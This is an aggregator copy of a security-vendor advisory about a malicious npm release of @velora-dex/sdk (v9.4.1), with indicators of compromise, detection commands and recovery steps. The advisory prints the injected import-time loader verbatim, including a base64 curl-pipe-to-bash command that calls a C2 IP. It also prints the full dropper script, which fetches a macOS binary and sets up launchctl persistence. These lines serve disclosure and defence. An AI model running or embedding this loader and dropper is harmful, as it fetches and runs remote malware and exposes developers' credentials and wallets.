惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

宝玉的分享
宝玉的分享
B
Blog RSS Feed
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
MyScale Blog
MyScale Blog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
S
SegmentFault 最新的问题
Y
Y Combinator Blog
月光博客
月光博客
IT之家
IT之家
T
Tailwind CSS Blog
Last Week in AI
Last Week in AI
L
LangChain Blog
博客园_首页
MongoDB | Blog
MongoDB | Blog
P
Proofpoint News Feed
博客园 - Franky
WordPress大学
WordPress大学
云风的 BLOG
云风的 BLOG
M
MIT News - Artificial intelligence
V
Visual Studio Blog
小众软件
小众软件
博客园 - 叶小钗
博客园 - 三生石上(FineUI控件)
N
Netflix TechBlog - Medium

Step Security Blog

Announcing Dependabot Configuration Enhancements: Cooldown and Group Support - StepSecurity Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity xygeni-action Compromised: C2 Reverse Shell Backdoor Injected via Tag Poisoning - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity How to Use Docker in Actions Runner Controller (ARC) Runners Securely - StepSecurity
@velora-dex/sdk Compromised on npm: Malicious Version Dro...
2026-04-09 · via Step Security Blog

On April 7, 2026, a malicious version of @velora-dex/sdk (v9.4.1) was published to npm. The VeloraDEX SDK is a DeFi toolkit used for token swaps, limit orders, and delta trading on the VeloraDEX decentralized exchange platform. The compromised version contains code injected directly into dist/index.js that executes immediately when the package is imported. There is no install hook involved: the payload fires on the first require() or import call.

The injected code downloads a shell script from a C2 server at 89.36.224.5, which drops an architecture-specific macOS binary and registers it as a persistent service using launchctl. The malicious build was published straight to the npm registry with no corresponding commit in the source repository. You can find more details in StepSecurity AI package analyst here.

The compromise was initially reported by Charlie Eriksen from Aikido in GitHub isssue #233.

Action required: If you have installed @velora-dex/sdk@9.4.1, treat the machine and all secrets accessible from it as compromised. Pin to version 9.4.0 or earlier and rotate all credentials immediately.

How the Attack Works

Step 1: Registry-Only Code Injection

The attacker published version 9.4.1 directly to npm without making any changes to the GitHub repository. Comparing the published tarballs reveals that only two files differ between 9.4.0 and 9.4.1:

  • package.json: version bump from 9.4.0 to 9.4.1
  • dist/index.js: three malicious lines prepended

No src/ files, no other dist artifacts (sdk.cjs.production.min.js, sdk.esm.js, etc.) were modified. This is a hallmark of a registry-only attack where the malicious build was crafted and published outside the normal CI/CD pipeline.

Step 2: Payload Injection in dist/index.js

The package main entry point (dist/index.js) had three lines prepended before the legitimate code:

'use strict'

const {exec} = require('child_process');
exec(`echo 'bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function(error, stdout, stderr) {});

This fires the moment any code calls require('@velora-dex/sdk'). Unlike many npm supply chain attacks that rely on postinstall hooks (which can be disabled with --ignore-scripts), this payload runs at import time, making it harder to avoid.

The base64 decodes to:

nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1

Key details:

  • nohup detaches the process from the parent, so it survives even if the Node.js process exits
  • curl -fsSL downloads silently, following redirects
  • > /dev/null 2>&1 suppresses all output so the user sees nothing
  • The (base64 --decode 2>/dev/null || base64 -D) pattern handles both Linux (--decode) and macOS (-D) base64 implementations

Step 3: The install.sh Payload

StepSecurity's Harden-Runner captured the full install.sh script through process event monitoring during a controlled analysis run. Here is the complete payload:

TERMINAL_DIR="$HOME/Library/Application Support/com.apple.Terminal"
PROFILER_PATH="$TERMINAL_DIR/profiler"
mkdir -p "$TERMINAL_DIR"

if [[ "$(uname)" == "Darwin" ]]; then
    if [[ "$(uname -m)" == "arm64" ]]; then
        curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/arm/driver/profiler
    else
        curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/intel/driver/profiler
    fi
fi

chmod +x "$PROFILER_PATH"
launchctl submit -l zsh.profiler -- "$PROFILER_PATH"

The malware employs several evasion techniques:

  • Path masquerading: The binary is placed in ~/Library/Application Support/com.apple.Terminal/, a path that mimics a legitimate macOS Terminal application support directory. A human reviewing the filesystem would likely skip over it.
  • Binary naming: The dropped file is named profiler, a generic name that blends in with system tools.
  • Architecture-aware delivery: Separate binaries are served for Apple Silicon (ARM64) and Intel (x86_64) Macs, ensuring the malware runs natively on both architectures without Rosetta translation overhead.
  • launchctl persistence: The launchctl submit -l zsh.profiler command registers the binary as a persistent macOS service. It will survive reboots and run as the current user without requiring elevated privileges.
  • Darwin-only execution: The uname check ensures the binary download only occurs on macOS. On Linux CI runners (like GitHub Actions), the script runs but the if block is skipped, meaning no binary is downloaded, but the C2 connection to 89.36.224.5 is still made when curl fetches install.sh.

Runtime Validation with StepSecurity Harden-Runner

StepSecurity ran the compromised package in a controlled GitHub Actions environment with Harden-Runner in audit mode. This captured the complete kill chain: network connections, process tree, and file system activity.

https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/24107839213?tab=network-events&jobId=70335366307

Network Events: C2 Contact Confirmed

Harden-Runner recorded the following network activity during the install-compromised-package job:

Step Destination Port Process
Install compromised package registry.npmjs.org 443 npm (PID 2362)
Import package to trigger runtime payload 89.36.224.5 80 curl (PID 2391)

The first row is expected: npm install downloading the package from the registry. The second row is the malicious C2 contact: curl reaching out to 89.36.224.5 over plaintext HTTP to download the install.sh dropper. This connection happened during the require() call, not during installation, confirming the import-time trigger.

Process Tree: The Full Kill Chain

Harden-Runner's process monitoring captured every process spawned during the attack. Here is the complete chain from the require() call to the final persistence attempt:

node (PID 2379) // require('@velora-dex/sdk')
  /bin/sh (PID 2386) echo '...' | base64 --decode | bash
    base64 (PID 2390) --decode
    bash (PID 2389)
      curl (PID 2391) -fsSL http://89.36.224.5/troubleshoot/mac/install.sh
      nohup bash (PID 2393) // executes install.sh
        mkdir (PID 2394) -p ~/Library/Application Support/com.apple.Terminal
        uname (PID 2395) // checks for Darwin (macOS)
        chmod (PID 2396) +x .../profiler

Notable observations from the process tree:

  • Total time from import to persistence attempt: ~330ms (PID 2379 at 22:38:50.529 to PID 2396 at 22:38:50.888)
  • nohup was used to detach the malware execution from the parent Node.js process, ensuring it continues running even if the importing script exits
  • On the Linux CI runner, uname returned Linux (not Darwin), so the binary download was skipped, but the directory creation and chmod still executed

View the full Harden-Runner insights for this run: Harden-Runner Insights Dashboard

⛔ curl http://89.36.224.5/troubleshoot/mac/install.sh → BLOCKED

This is what Harden-Runner does

Real-time network egress monitoring for GitHub Actions. The C2 callback to 89.36.224.5 would have been detected and blocked before the malware could download the binary or establish persistence.

Indicators of Compromise

  • C2 IP: 89.36.224.5
  • C2 URLs:
    • http://89.36.224.5/troubleshoot/mac/install.sh
    • http://89.36.224.5/mac/arm/driver/profiler (ARM64 binary)
    • http://89.36.224.5/mac/intel/driver/profiler (Intel binary)
  • Filesystem artifact: ~/Library/Application Support/com.apple.Terminal/profiler
  • Persistence mechanism: launchctl service named zsh.profiler
  • Compromised npm package: @velora-dex/sdk@9.4.1
  • Base64 payload: bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx

Am I Affected?

Code Repositories

Search for the compromised version across all PRs and default branches in your organization:

Search for @velora-dex/sdk@9.4.1 across your organization →

You can also search your codebase directly:

# Search for the compromised version in lockfiles
grep -r "velora-dex/sdk" --include="package-lock.json" --include="yarn.lock" --include="pnpm-lock.yaml" .

# Check if version 9.4.1 is installed
npm list @velora-dex/sdk 2>/dev/null | grep 9.4.1

CI/CD Pipelines

Check your Harden-Runner org baseline for any outbound connections to the C2 server:

Check for connections to 89.36.224.5 in your Harden-Runner baseline →

If 89.36.224.5 appears in your baseline, the compromised package was imported in one of your workflow runs and successfully contacted the C2 server.

Developer Machines

Check for the malware on macOS machines:

# Check for the dropped binary
ls -la ~/Library/Application\ Support/com.apple.Terminal/profiler

# Check for the launchctl service
launchctl list | grep zsh.profiler

# Check npm cache for the compromised version
find ~/.npm/_cacache -name "*.tgz" 2>/dev/null | xargs strings 2>/dev/null | grep "89.36.224.5"

If you use StepSecurity Developer MDM, you can search for this package across all enrolled developer machines:

Search developer machines for @velora-dex/sdk@9.4.1 →

Recovery Steps

1. Pin to a safe version

npm install @velora-dex/sdk@9.4.0

2. Remove the malware (macOS)

If the compromised version was installed or imported on a macOS machine, remove the dropped binary and persistence mechanism:

# Stop and remove the persistent service
launchctl remove zsh.profiler

# Remove the dropped binary
rm -rf ~/Library/Application\ Support/com.apple.Terminal/profiler

# Remove the entire fake directory if empty
rmdir ~/Library/Application\ Support/com.apple.Terminal 2>/dev/null

3. Rotate credentials

Treat any secret that was present on the machine at the time of installation as compromised. This includes:

  • npm tokens and GitHub personal access tokens
  • SSH keys (~/.ssh/)
  • Cloud provider credentials (AWS, GCP, Azure)
  • Environment variables containing API keys
  • Browser-stored passwords and cookies
  • Cryptocurrency wallet keys and seed phrases

4. Review network logs

Check firewall or proxy logs for outbound connections to 89.36.224.5. Any connection to this IP confirms the malware executed and may have downloaded additional payloads.

Defense in Depth: How StepSecurity Protects Against This

Block C2 Traffic with Harden-Runner

Harden-Runner monitors all outbound network connections from GitHub Actions runners. In block mode, it would have prevented the curl call to 89.36.224.5 from succeeding, stopping the attack before the binary could be downloaded.

Catch It Before Merge with Package Cooldown

The npm Package Cooldown Check blocks newly published package versions from being adopted in pull requests until a configurable waiting period has elapsed. If a PR had introduced the upgrade to @velora-dex/sdk@9.4.1, the check would have flagged it as too new to trust.

Block Known Malicious Packages

The npm Compromised Package Check maintains a database of known malicious packages and blocks them from being introduced in pull requests. StepSecurity has added @velora-dex/sdk@9.4.1 to this list.

Discover Affected Developer Machines

StepSecurity Developer MDM provides visibility into which npm packages are installed on developer machines across your organization, enabling you to identify affected machines within minutes of a compromise disclosure.

Reference